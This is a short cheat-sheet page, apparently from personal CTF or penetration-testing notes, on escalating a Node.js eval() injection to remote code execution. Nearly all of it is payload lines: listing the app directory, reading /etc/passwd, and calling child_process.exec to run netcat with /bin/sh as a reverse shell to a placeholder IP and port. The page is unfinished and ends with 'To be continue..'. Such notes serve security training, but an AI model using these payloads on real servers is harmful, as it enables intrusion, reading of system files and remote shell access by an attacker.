Web Exploitation 🕸️
Node.js eval() to RCE
process.cwd() // print current directory
require('fs').readdirSync('/app').toString() // same as dir & ls for listing the directory
require('fs').readFileSync("/etc/passwd").toString() // read content of the file
require("child_process").exec('nc {ip} {port} -e /bin/sh') // rce lead to reverse shellTo be continue..
Last updated